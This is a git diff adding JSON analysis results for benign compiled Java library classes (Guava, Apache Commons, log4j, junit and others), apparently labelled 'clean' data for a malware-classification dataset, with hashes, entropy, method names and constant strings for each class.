"minor_version": 0, "const_pool_count": 271}}, "_id": "bf14028e-5843-4a2f-a3c8-7bcc15a3391d", "verbose": {"java": {"JAVA String Analysis": {"combined strings entropy": 4.208915468215639, "obfuscated_data": {"base64": {"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/": "over"}}}, "constant strings": ["droppable", "accept", "*", "activeClass", "addClasses", "disabled", "greedy", "hoverClass", "scope", "default", "tolerance", "activate", "deactivate", "drop", "out", "over", "\\'destroy\\'", "\\'disable\\'", "\\'enable\\'", "\\'widget\\'", "ui.draggable", "ui.helper", "ui.position", "ui.offset"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "63bac2aed2b5771e50ea5c0890034b2d31710e6f", "file_name": "java_clean/d9cdfb1ad465c014322999fdeffa2d55a08a8d1d861bd5a3717409833fff5c91", "_id": "bf14028e-5843-4a2f-a3c8-7bcc15a3391d", "score": 0, "entropy": 5.371388499645045, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 7982, "ssdeep": "192:OINRlOnuluytyfR8BIvuM7oNsf+FhoX0x:XUukyKRohnV20x", "sha256": "d9cdfb1ad465c014322999fdeffa2d55a08a8d1d861bd5a3717409833fff5c91", "md5": "aa0c115b63f1a481ea8945c21c24b657", "parent_sha256": "d9cdfb1ad465c014322999fdeffa2d55a08a8d1d861bd5a3717409833fff5c91"}} \ No newline at end of file diff --git a/java_classification/data/clean/d9d120aeda50b26dc982ed3f06afe5bc779b445f22c49ac92995edd1cb693fd6.results b/java_classification/data/clean/d9d120aeda50b26dc982ed3f06afe5bc779b445f22c49ac92995edd1cb693fd6.results new file mode 100755 index 0000000..174a497 --- /dev/null +++ b/java_classification/data/clean/d9d120aeda50b26dc982ed3f06afe5bc779b445f22c49ac92995edd1cb693fd6.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "DeleteMethod.java", "class_name": "org/apache/commons/httpclient/methods/DeleteMethod", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["", "", "getName"], "minor_version": 3, "const_pool_count": 25}}, "_id": "689c8112-dbe4-4920-8977-fe399e64a066", "verbose": {"java": {"constant strings": ["DELETE"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "c30b0c37c0162deb852d775b13793ea0dea22a86", "file_name": "java_clean/d9d120aeda50b26dc982ed3f06afe5bc779b445f22c49ac92995edd1cb693fd6", "_id": "689c8112-dbe4-4920-8977-fe399e64a066", "score": 0, "entropy": 4.891278959228305, "libmagic": "compiled Java class data, version 45.3", "file_size": 610, "ssdeep": "12:ck9SDQulPso9NaMdC/MOeMOeJSSSF93gq+6:ck9yQulj30DwS8V+6", "sha256": "d9d120aeda50b26dc982ed3f06afe5bc779b445f22c49ac92995edd1cb693fd6", "md5": "ed1464ecf85ddea7f5949806e21ebe8b", "parent_sha256": "d9d120aeda50b26dc982ed3f06afe5bc779b445f22c49ac92995edd1cb693fd6"}} \ No newline at end of file diff --git a/java_classification/data/clean/dd586a3cf2b25bcd47db2860dfedf39f988cbc7cbfa9b50cbb6982462c6fb898.results b/java_classification/data/clean/dd586a3cf2b25bcd47db2860dfedf39f988cbc7cbfa9b50cbb6982462c6fb898.results new file mode 100755 index 0000000..5b8b542 --- /dev/null +++ b/java_classification/data/clean/dd586a3cf2b25bcd47db2860dfedf39f988cbc7cbfa9b50cbb6982462c6fb898.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 49, "class_name": "org/apache/hadoop/conf/Configured", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "interfaces": ["org/apache/hadoop/conf/Configurable"], "sourcefile": "Configured.java", "method_names": ["", "", "setConf", "getConf"], "minor_version": 0, "const_pool_count": 30}}, "_id": "4b86af0d-2729-4707-a166-72cf1f883509", "metadata": {"mimetype": "application/x-java-applet", "sha1": "46cf5a2800824c300beb4faf904f07b18f6da1f3", "file_name": "java_clean/dd586a3cf2b25bcd47db2860dfedf39f988cbc7cbfa9b50cbb6982462c6fb898", "_id": "4b86af0d-2729-4707-a166-72cf1f883509", "score": 0, "entropy": 4.770944807168003, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 763, "ssdeep": "12:64mq1UWk3SDQulPsoGrq1I+2q1UWkPkbq1UWkNLCdqowq1IbR6rq1A5Z22mzwKlX:6xq1i3yQuljEq1I+2q1Tq1iKsq1Ib+qV", "sha256": "dd586a3cf2b25bcd47db2860dfedf39f988cbc7cbfa9b50cbb6982462c6fb898", "md5": "9f7d8734a376e06f528b10a3311c16fb", "parent_sha256": "dd586a3cf2b25bcd47db2860dfedf39f988cbc7cbfa9b50cbb6982462c6fb898"}} \ No newline at end of file diff --git a/java_classification/data/clean/dd7c1a23dbb415dc3a385135eac3015deeacca5048271e79def03f326f028cb9.results b/java_classification/data/clean/dd7c1a23dbb415dc3a385135eac3015deeacca5048271e79def03f326f028cb9.results new file mode 100755 index 0000000..dec9820 --- /dev/null +++ b/java_classification/data/clean/dd7c1a23dbb415dc3a385135eac3015deeacca5048271e79def03f326f028cb9.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 49, "class_name": "com/google/common/base/Suppliers$ExpiringMemoizingSupplier", "access_permissions": ["ACC_SUPER"], "interfaces": ["com/google/common/base/Supplier", "java/io/Serializable"], "sourcefile": "Suppliers.java", "method_names": ["", "get"], "minor_version": 0, "const_pool_count": 86}}, "_id": "0b329959-56da-410d-b4f6-82cb464e1137", "verbose": {"java": {"signatures": ["Lcom/google/common/base/Supplier;", "TT;", "(Lcom/google/common/base/Supplier;JLjava/util/concurrent/TimeUnit;)V", "()TT;", "Ljava/lang/Object;Lcom/google/common/base/Supplier;Ljava/io/Serializable;"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "dbf8336a067e255e199f169b2ee4c5c775bec72d", "file_name": "java_clean/dd7c1a23dbb415dc3a385135eac3015deeacca5048271e79def03f326f028cb9", "_id": "0b329959-56da-410d-b4f6-82cb464e1137", "score": 0, "entropy": 5.470841598633773, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 2078, "ssdeep": "24:VGA0UDRyN92jJuljs2IlnH2jQ58nW/bo+qo/Nfkkx2A1Z3r/6UI72z3fdlYFaTns:5hRe9l85noFQMe1x26jDP+", "sha256": "dd7c1a23dbb415dc3a385135eac3015deeacca5048271e79def03f326f028cb9", "md5": "e9af8ec5dc4325ac5ec5b2b1d84d58ac", "parent_sha256": "dd7c1a23dbb415dc3a385135eac3015deeacca5048271e79def03f326f028cb9"}} \ No newline at end of file diff --git a/java_classification/data/clean/de98ce08f529920223b7d0a68d0153821447ec9d57274f73b2b05946da2d18d1.results b/java_classification/data/clean/de98ce08f529920223b7d0a68d0153821447ec9d57274f73b2b05946da2d18d1.results new file mode 100755 index 0000000..a880ebe --- /dev/null +++ b/java_classification/data/clean/de98ce08f529920223b7d0a68d0153821447ec9d57274f73b2b05946da2d18d1.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "ConcurrentHashMultiset.java", "class_name": "com/google/common/collect/ConcurrentHashMultiset$3", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["", "delegate", "next", "remove", "next", "delegate"], "minor_version": 0, "const_pool_count": 73}}, "_id": "9fcb917c-8f93-48e1-a5d5-254413b12d29", "verbose": {"java": {"signatures": ["Lcom/google/common/collect/Multiset$Entry;", "()Ljava/util/Iterator;>;", "()Lcom/google/common/collect/Multiset$Entry;", "Lcom/google/common/collect/ForwardingIterator;>;"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "654f13c218170068688b47b00278b82a994032e8", "file_name": "java_clean/de98ce08f529920223b7d0a68d0153821447ec9d57274f73b2b05946da2d18d1", "_id": "9fcb917c-8f93-48e1-a5d5-254413b12d29", "score": 0, "entropy": 5.128073023378478, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 2079, "ssdeep": "24:YvOEpr8UN/0O8jaOWa+88uljyahnMaua8jCX84RTX4nbhBj7aho57a5yhnekwcRS:67tOxxlpFuyKhBCXwFivdEsrVNCg", "sha256": "de98ce08f529920223b7d0a68d0153821447ec9d57274f73b2b05946da2d18d1", "md5": "265b9eeb0df3eba4d54a35b5b43e7d52", "parent_sha256": "de98ce08f529920223b7d0a68d0153821447ec9d57274f73b2b05946da2d18d1"}} \ No newline at end of file diff --git a/java_classification/data/clean/dfd1eb316adfe9ea79764c748bccae2df8a7ce361f611ba3b1dbbb997b3f407a.results b/java_classification/data/clean/dfd1eb316adfe9ea79764c748bccae2df8a7ce361f611ba3b1dbbb997b3f407a.results new file mode 100755 index 0000000..6174ac4 --- /dev/null +++ b/java_classification/data/clean/dfd1eb316adfe9ea79764c748bccae2df8a7ce361f611ba3b1dbbb997b3f407a.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 49, "class_name": "org/odlabs/wiquery/core/commons/merge/WiQueryMergedJavaScriptResourceReference", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "interfaces": ["org/apache/wicket/IClusterable"], "sourcefile": "WiQueryMergedJavaScriptResourceReference.java", "method_names": ["", "lastModifiedTime", "newResource", "access$000", "access$100", "access$200", ""], "minor_version": 0, "const_pool_count": 101}}, "_id": "73fb9004-858f-40d4-be6c-55cb6fb79ab2", "verbose": {"java": {"JAVA String Analysis": {"obfuscated_data": {"signatures": {"java": "rot0"}}}, "constant strings": ["wiquery-merged.js_", "wiquery-merged.js", "text/javascript"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "ded1ffbf29b9968d3920f9dcb568ceb4bfbbde70", "file_name": "java_clean/dfd1eb316adfe9ea79764c748bccae2df8a7ce361f611ba3b1dbbb997b3f407a", "_id": "73fb9004-858f-40d4-be6c-55cb6fb79ab2", "score": 0, "entropy": 5.401822421407585, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 2740, "ssdeep": "48:TIGmxXqFGRFGlHF6FHF1FGnFYT+yF2kDjZOFU10Z8FtNC05Ls4t7IixdIK+C:WXqFEFGlHF6FHF1FGnFYT+yFP/ZOFeFT", "sha256": "dfd1eb316adfe9ea79764c748bccae2df8a7ce361f611ba3b1dbbb997b3f407a", "md5": "92e69d11832b74eb55b9fe8735d8754c", "parent_sha256": "dfd1eb316adfe9ea79764c748bccae2df8a7ce361f611ba3b1dbbb997b3f407a"}} \ No newline at end of file diff --git a/java_classification/data/clean/e00f4daab788a60ebb95a9536de116eea8431679fcde1614012d14a6ce13519f.results b/java_classification/data/clean/e00f4daab788a60ebb95a9536de116eea8431679fcde1614012d14a6ce13519f.results new file mode 100755 index 0000000..6284166 --- /dev/null +++ b/java_classification/data/clean/e00f4daab788a60ebb95a9536de116eea8431679fcde1614012d14a6ce13519f.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "LogTable.java", "class_name": "org/apache/log4j/lf5/viewer/LogTable", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["", "getDateFormatManager", "setDateFormatManager", "clearLogRecords", "getFilteredLogTableModel", "setDetailedView", "setView", "setFont", "init", "getColumnNameAndNumber"], "minor_version": 3, "const_pool_count": 252}}, "_id": "07d13239-661c-422e-8efe-29d9b921f130", "metadata": {"mimetype": "application/x-java-applet", "sha1": "1cc2f1704ed08e89798273555b1c65484adc4372", "file_name": "java_clean/e00f4daab788a60ebb95a9536de116eea8431679fcde1614012d14a6ce13519f", "_id": "07d13239-661c-422e-8efe-29d9b921f130", "score": 0, "entropy": 5.700224104666574, "libmagic": "compiled Java class data, version 45.3", "file_size": 5191, "ssdeep": "96:OLK8otOxl0Hl5ibTfWN46aTuMn+G7rU1DtOx7Rxu9/Z9:OLoYxlcibDWN46a3bU1hOx7RxAZ9", "sha256": "e00f4daab788a60ebb95a9536de116eea8431679fcde1614012d14a6ce13519f", "md5": "791c5210ca4931fa03caf553f9b41808", "parent_sha256": "e00f4daab788a60ebb95a9536de116eea8431679fcde1614012d14a6ce13519f"}} \ No newline at end of file diff --git a/java_classification/data/clean/e064e37e264dd273371a2170751f4adc922f099c9d63cbc3bc88ae2d125d3c9b.results b/java_classification/data/clean/e064e37e264dd273371a2170751f4adc922f099c9d63cbc3bc88ae2d125d3c9b.results new file mode 100755 index 0000000..043aa49 --- /dev/null +++ b/java_classification/data/clean/e064e37e264dd273371a2170751f4adc922f099c9d63cbc3bc88ae2d125d3c9b.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "ArchiveOutputStream.java", "class_name": "org/apache/commons/compress/archivers/ArchiveOutputStream", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER", "ACC_ABSTRACT"], "major_version": 48, "method_names": ["", "putArchiveEntry", "closeArchiveEntry", "finish", "createArchiveEntry", "write", "count", "getCount"], "minor_version": 0, "const_pool_count": 46}}, "_id": "5736bef0-4713-44b2-830a-52bbf4b20089", "metadata": {"mimetype": "application/x-java-applet", "sha1": "9d622c2460984579f61a7c45c422ba26417a8bff", "file_name": "java_clean/e064e37e264dd273371a2170751f4adc922f099c9d63cbc3bc88ae2d125d3c9b", "_id": "5736bef0-4713-44b2-830a-52bbf4b20089", "score": 0, "entropy": 5.117786823864441, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 1152, "ssdeep": "24:jImuVhyQuljSCn9ZCK3GIfCKFsVACzuxqjOvlnkZwkEh90Vp3a:jIm4yFljL3GaeWxqjOvlnkZwkEj0VpK", "sha256": "e064e37e264dd273371a2170751f4adc922f099c9d63cbc3bc88ae2d125d3c9b", "md5": "fbda0d45f4a2e99b5ffec21184520e2a", "parent_sha256": "e064e37e264dd273371a2170751f4adc922f099c9d63cbc3bc88ae2d125d3c9b"}} \ No newline at end of file diff --git a/java_classification/data/clean/e08676441af9c006eae0b632687ed8c1f66a00d028bb2dbcd5a1fbf4c60c05ca.results b/java_classification/data/clean/e08676441af9c006eae0b632687ed8c1f66a00d028bb2dbcd5a1fbf4c60c05ca.results new file mode 100755 index 0000000..28d2b60 --- /dev/null +++ b/java_classification/data/clean/e08676441af9c006eae0b632687ed8c1f66a00d028bb2dbcd5a1fbf4c60c05ca.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Node.java", "class_name": "org/apache/jasper/compiler/Node$Declaration", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 46, "method_names": ["", "", "accept"], "minor_version": 0, "const_pool_count": 54}}, "_id": "3db607e7-1e73-41c0-8684-601757b855b9", "verbose": {"java": {"constant strings": ["jsp:declaration", "declaration"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "765a7b9409ce9713451d83fe88b0c8a504bded94", "file_name": "java_clean/e08676441af9c006eae0b632687ed8c1f66a00d028bb2dbcd5a1fbf4c60c05ca", "_id": "3db607e7-1e73-41c0-8684-601757b855b9", "score": 0, "entropy": 5.177859634725577, "libmagic": "compiled Java class data, version 46.0 (Java 1.2)", "file_size": 1735, "ssdeep": "24:1vANRUuljEDy2IqRrN/RrH+jPkR+w5ljlbuuRVRtIk3VRVVczY4gZ2QacrDuPx:1vAJlv6N/ni69pVkmDG", "sha256": "e08676441af9c006eae0b632687ed8c1f66a00d028bb2dbcd5a1fbf4c60c05ca", "md5": "0591803069f1873aa366c36ce623fd91", "parent_sha256": "e08676441af9c006eae0b632687ed8c1f66a00d028bb2dbcd5a1fbf4c60c05ca"}} \ No newline at end of file diff --git a/java_classification/data/clean/e0937f6338b2968b3e24c37a63ceea2ec0c9c9be438512b7dd7d08d4bad1dc2a.results b/java_classification/data/clean/e0937f6338b2968b3e24c37a63ceea2ec0c9c9be438512b7dd7d08d4bad1dc2a.results new file mode 100755 index 0000000..83f3c0c --- /dev/null +++ b/java_classification/data/clean/e0937f6338b2968b3e24c37a63ceea2ec0c9c9be438512b7dd7d08d4bad1dc2a.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "TestSetup.java", "class_name": "junit/extensions/TestSetup", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "run", "setUp", "tearDown"], "minor_version": 0, "const_pool_count": 43}}, "_id": "8f6e8ff7-497b-42ad-bf35-c9162772745e", "metadata": {"mimetype": "application/x-java-applet", "sha1": "55242fa9bf17e8e11f217940ae2602956ae6fd5c", "file_name": "java_clean/e0937f6338b2968b3e24c37a63ceea2ec0c9c9be438512b7dd7d08d4bad1dc2a", "_id": "8f6e8ff7-497b-42ad-bf35-c9162772745e", "score": 0, "entropy": 4.969757267412514, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 1037, "ssdeep": "24:SWwuljwZ0KQQQV+h+o4apTYNIwmxFJE9xMS7X3:SWllV+kAfJE9mS7X3", "sha256": "e0937f6338b2968b3e24c37a63ceea2ec0c9c9be438512b7dd7d08d4bad1dc2a", "md5": "35bb0726e354340ec259b597500d55c8", "parent_sha256": "e0937f6338b2968b3e24c37a63ceea2ec0c9c9be438512b7dd7d08d4bad1dc2a"}} \ No newline at end of file diff --git a/java_classification/data/clean/e13cfb0eab48bd8fc4e4a52749ba7d9810d5187f6a380865df3ceb4b5b01ab50.results b/java_classification/data/clean/e13cfb0eab48bd8fc4e4a52749ba7d9810d5187f6a380865df3ceb4b5b01ab50.results new file mode 100755 index 0000000..a38e38d --- /dev/null +++ b/java_classification/data/clean/e13cfb0eab48bd8fc4e4a52749ba7d9810d5187f6a380865df3ceb4b5b01ab50.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 49, "class_name": "junit/framework/JUnit4TestCaseFacade", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "interfaces": ["junit/framework/Test"], "sourcefile": "JUnit4TestCaseFacade.java", "method_names": ["", "toString", "countTestCases", "run", "getDescription"], "minor_version": 0, "const_pool_count": 47}}, "_id": "c57ccb24-b8a3-41f8-83ad-95f87fcfbe09", "verbose": {"java": {"constant strings": ["This test stub created only for informational purposes."]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "677f334be4502183e43195a25dde601e23f1b5b7", "file_name": "java_clean/e13cfb0eab48bd8fc4e4a52749ba7d9810d5187f6a380865df3ceb4b5b01ab50", "_id": "c57ccb24-b8a3-41f8-83ad-95f87fcfbe09", "score": 0, "entropy": 5.094065798889096, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 1113, "ssdeep": "24:QiBeRSuljajs0sKQQQFKnKWZjhgtuBfjZuVwS+WYPDdi:QiBeRHlmg0IKn+tuBjAX+hbg", "sha256": "e13cfb0eab48bd8fc4e4a52749ba7d9810d5187f6a380865df3ceb4b5b01ab50", "md5": "7979a89a2298fd4339433de2940ab903", "parent_sha256": "e13cfb0eab48bd8fc4e4a52749ba7d9810d5187f6a380865df3ceb4b5b01ab50"}} \ No newline at end of file diff --git a/java_classification/data/clean/e170936c82cd06a56366b424f745f3d5711c3e61891e7bdf64eafc2f4415d7a0.results b/java_classification/data/clean/e170936c82cd06a56366b424f745f3d5711c3e61891e7bdf64eafc2f4415d7a0.results new file mode 100755 index 0000000..2059edb --- /dev/null +++ b/java_classification/data/clean/e170936c82cd06a56366b424f745f3d5711c3e61891e7bdf64eafc2f4415d7a0.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "org/hsqldb/util/DatabaseManagerSwing$3", "access_permissions": ["ACC_SUPER"], "interfaces": ["java/awt/event/ActionListener"], "major_version": 46, "method_names": ["", "actionPerformed"], "minor_version": 0, "const_pool_count": 44}}, "_id": "15b2059b-c25f-4255-9031-48bad91a860a", "verbose": {"java": {"JAVA String Analysis": {"combined strings entropy": 5.04077669355297}, "constant strings": ["$Revision: 1.62 $ of DatabaseManagerSwing\\n\\nCopyright (c) 1995-2000, The Hypersonic SQL Group.\\nCopyright (c) 2001-2005, The HSQL Development Group.\\nhttp://hsqldb.org\\n\\n\\nYou may use and redistribute according to the HSQLDB\\nlicense documented in the source code and at the web\\nsite above.", "About"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "5e7e9171d0b80c911b476d52246a3f12d592d5d5", "file_name": "java_clean/e170936c82cd06a56366b424f745f3d5711c3e61891e7bdf64eafc2f4415d7a0", "_id": "15b2059b-c25f-4255-9031-48bad91a860a", "score": 0, "entropy": 5.539307830077925, "libmagic": "compiled Java class data, version 46.0 (Java 1.2)", "file_size": 1062, "ssdeep": "24:vuI0g4nJrQ60gJK1EJV3yKGT+1/OlDFSa:GI0FnJrt0gJK1EJxTD2lh", "sha256": "e170936c82cd06a56366b424f745f3d5711c3e61891e7bdf64eafc2f4415d7a0", "md5": "d6730ab81f87c77800999eab625df831", "parent_sha256": "e170936c82cd06a56366b424f745f3d5711c3e61891e7bdf64eafc2f4415d7a0"}} \ No newline at end of file diff --git a/java_classification/data/clean/e1b84f60e2db4b350b86ab48d40b8aa791af9b47f5ef34b238551f40becd7068.results b/java_classification/data/clean/e1b84f60e2db4b350b86ab48d40b8aa791af9b47f5ef34b238551f40becd7068.results new file mode 100755 index 0000000..28b388a --- /dev/null +++ b/java_classification/data/clean/e1b84f60e2db4b350b86ab48d40b8aa791af9b47f5ef34b238551f40becd7068.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Charsets.java", "class_name": "com/google/common/base/Charsets", "access_permissions": ["ACC_PUBLIC", "ACC_FINAL", "ACC_SUPER"], "major_version": 49, "method_names": ["", ""], "minor_version": 0, "const_pool_count": 54}}, "_id": "baaedebd-3334-46a7-b21d-866763b527d8", "verbose": {"java": {"constant strings": ["US-ASCII", "ISO-8859-1", "UTF-8", "UTF-16BE", "UTF-16LE", "UTF-16"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "a8482192f9cde293349ce873471115335c4c194b", "file_name": "java_clean/e1b84f60e2db4b350b86ab48d40b8aa791af9b47f5ef34b238551f40becd7068", "_id": "baaedebd-3334-46a7-b21d-866763b527d8", "score": 0, "entropy": 5.318021198380656, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 793, "ssdeep": "12:PWNjW8+kbEwqTtBic8SDQulPsoQn64NlIRBslStbRUEYkMoEwKnK8q+S7AwhMuMR:iqIzhLyQuljkB0XltbmWz8q3rMlp", "sha256": "e1b84f60e2db4b350b86ab48d40b8aa791af9b47f5ef34b238551f40becd7068", "md5": "8cc89c92e4318ffc527c4e3738e3fe68", "parent_sha256": "e1b84f60e2db4b350b86ab48d40b8aa791af9b47f5ef34b238551f40becd7068"}} \ No newline at end of file diff --git a/java_classification/data/clean/e1d6199a06db2a30bea2f3b106ee74898d60742287f8e5c06a2266e2d3013944.results b/java_classification/data/clean/e1d6199a06db2a30bea2f3b106ee74898d60742287f8e5c06a2266e2d3013944.results new file mode 100755 index 0000000..847eb24 --- /dev/null +++ b/java_classification/data/clean/e1d6199a06db2a30bea2f3b106ee74898d60742287f8e5c06a2266e2d3013944.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 45, "class_name": "org/apache/commons/collections/ResettableIterator", "access_permissions": ["ACC_PUBLIC", "ACC_INTERFACE", "ACC_ABSTRACT"], "interfaces": ["java/util/Iterator"], "sourcefile": "ResettableIterator.java", "method_names": ["reset"], "minor_version": 3, "const_pool_count": 11}}, "_id": "aca81445-342d-4070-9c9a-ecd9a1c028d1", "metadata": {"mimetype": "application/x-java-applet", "sha1": "ca31f25fff6abd0187acea9c919abf8c2ca5669d", "file_name": "java_clean/e1d6199a06db2a30bea2f3b106ee74898d60742287f8e5c06a2266e2d3013944", "_id": "aca81445-342d-4070-9c9a-ecd9a1c028d1", "score": 0, "entropy": 4.776560624759021, "libmagic": "compiled Java class data, version 45.3", "file_size": 196, "ssdeep": "3:Dblmkw3QWYFCXRsy3AH0pJM2X5KI3f80pJMWSQCK8P0yWU2Ik9lHlll7zglal4:ckdBVy9pOUTv80pObRPvWnIMiA4", "sha256": "e1d6199a06db2a30bea2f3b106ee74898d60742287f8e5c06a2266e2d3013944", "md5": "908b72b396342437d400b20ba56dae5f", "parent_sha256": "e1d6199a06db2a30bea2f3b106ee74898d60742287f8e5c06a2266e2d3013944"}} \ No newline at end of file diff --git a/java_classification/data/clean/e2df2aae532966e516480a1a066f92d03158d2de4665763df9aadac37b607359.results b/java_classification/data/clean/e2df2aae532966e516480a1a066f92d03158d2de4665763df9aadac37b607359.results new file mode 100755 index 0000000..52b9e4d --- /dev/null +++ b/java_classification/data/clean/e2df2aae532966e516480a1a066f92d03158d2de4665763df9aadac37b607359.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "ImmutableList.java", "class_name": "com/google/common/collect/ImmutableList$Builder", "access_permissions": ["ACC_PUBLIC", "ACC_FINAL", "ACC_SUPER"], "major_version": 49, "method_names": ["", "add", "addAll", "add", "addAll", "build", "build", "addAll", "addAll", "add", "add"], "minor_version": 0, "const_pool_count": 111}}, "_id": "c848e9c3-6546-4ef7-a15e-63f5e7b9d7dc", "verbose": {"java": {"signatures": ["Ljava/util/ArrayList;", "(TE;)Lcom/google/common/collect/ImmutableList$Builder;", "(Ljava/lang/Iterable<+TE;>;)Lcom/google/common/collect/ImmutableList$Builder;", "([TE;)Lcom/google/common/collect/ImmutableList$Builder;", "(Ljava/util/Iterator<+TE;>;)Lcom/google/common/collect/ImmutableList$Builder;", "()Lcom/google/common/collect/ImmutableList;", "Lcom/google/common/collect/ImmutableCollection$Builder;"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "a8a2869bf9a10ea99fdb2dd133486e87a3523e64", "file_name": "java_clean/e2df2aae532966e516480a1a066f92d03158d2de4665763df9aadac37b607359", "_id": "c848e9c3-6546-4ef7-a15e-63f5e7b9d7dc", "score": 0, "entropy": 5.159424994391078, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 3740, "ssdeep": "48:XDt4yFlL0a3t8P32OZ5R/rYV0kBejTNjhKl7B/IZX3zI3:TtJFlLNojYq9jBjcl9IpM3", "sha256": "e2df2aae532966e516480a1a066f92d03158d2de4665763df9aadac37b607359", "md5": "695fc6924d88ddc01b3b9f85b9f246a4", "parent_sha256": "e2df2aae532966e516480a1a066f92d03158d2de4665763df9aadac37b607359"}} \ No newline at end of file diff --git a/java_classification/data/clean/e3455efafef9d753089779a45d0cf4197403d6a7efb1b104e8896f2e86d3ee2f.results b/java_classification/data/clean/e3455efafef9d753089779a45d0cf4197403d6a7efb1b104e8896f2e86d3ee2f.results new file mode 100755 index 0000000..9022c61 --- /dev/null +++ b/java_classification/data/clean/e3455efafef9d753089779a45d0cf4197403d6a7efb1b104e8896f2e86d3ee2f.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "TypeTag.java", "class_name": "javassist/bytecode/stackmap/TypeTag", "access_permissions": ["ACC_PUBLIC", "ACC_INTERFACE", "ACC_ABSTRACT"], "major_version": 48, "method_names": [""], "minor_version": 0, "const_pool_count": 45}}, "_id": "a0171970-0af1-416f-8547-fa899c8cd5fe", "verbose": {"java": {"JAVA String Analysis": {"obfuscated_data": {"base64": {"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/": "long"}}}, "constant strings": ["int", "float", "double", "long"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "6208627fc95fb8dd04b64c0da4e3f655ce7bce33", "file_name": "java_clean/e3455efafef9d753089779a45d0cf4197403d6a7efb1b104e8896f2e86d3ee2f", "_id": "a0171970-0af1-416f-8547-fa899c8cd5fe", "score": 0, "entropy": 5.330211114787498, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 670, "ssdeep": "12:4usXnM+EoZq5DQulwseM+E6yNLNLBLI3M+EqR0M+EPnMlUj6b3YdD4eaysf+:4g+PZqJQulwsr+Fy1N+9r+cCa6bMD4oV", "sha256": "e3455efafef9d753089779a45d0cf4197403d6a7efb1b104e8896f2e86d3ee2f", "md5": "5277284614ef15909ba8b8ee64abb34c", "parent_sha256": "e3455efafef9d753089779a45d0cf4197403d6a7efb1b104e8896f2e86d3ee2f"}} \ No newline at end of file diff --git a/java_classification/data/clean/e384148448a2777e3bca900078a71dd0540d415b72a7353d9f70a172f70d7195.results b/java_classification/data/clean/e384148448a2777e3bca900078a71dd0540d415b72a7353d9f70a172f70d7195.results new file mode 100755 index 0000000..f46be1d --- /dev/null +++ b/java_classification/data/clean/e384148448a2777e3bca900078a71dd0540d415b72a7353d9f70a172f70d7195.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "QuotedStringTokenizer.java", "class_name": "org/mortbay/util/QuotedStringTokenizer", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 46, "method_names": ["", "", "", "", "hasMoreTokens", "nextToken", "nextToken", "hasMoreElements", "nextElement", "countTokens", "quote", "quote", "unquote"], "minor_version": 0, "const_pool_count": 139}}, "_id": "f6aa4648-8e0e-499e-a51a-ce4892aabc03", "verbose": {"java": {"constant strings": ["", "\\t\\n\\r", "Can\\'t use quotes as delimiters: ", "\"\"", "\\\\\"", "\\\\\\\\"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "5a51f61c5a54acb4a3e016e25bc427dec3ad0838", "file_name": "java_clean/e384148448a2777e3bca900078a71dd0540d415b72a7353d9f70a172f70d7195", "_id": "f6aa4648-8e0e-499e-a51a-ce4892aabc03", "score": 0, "entropy": 5.5593636700393265, "libmagic": "compiled Java class data, version 46.0 (Java 1.2)", "file_size": 4376, "ssdeep": "96:8Ow4lXTzkN/bcLVp4qiP4cJB1nS1AAl7Ww61US4ZLx:NlXXSA7Cg2I7B6T4ZF", "sha256": 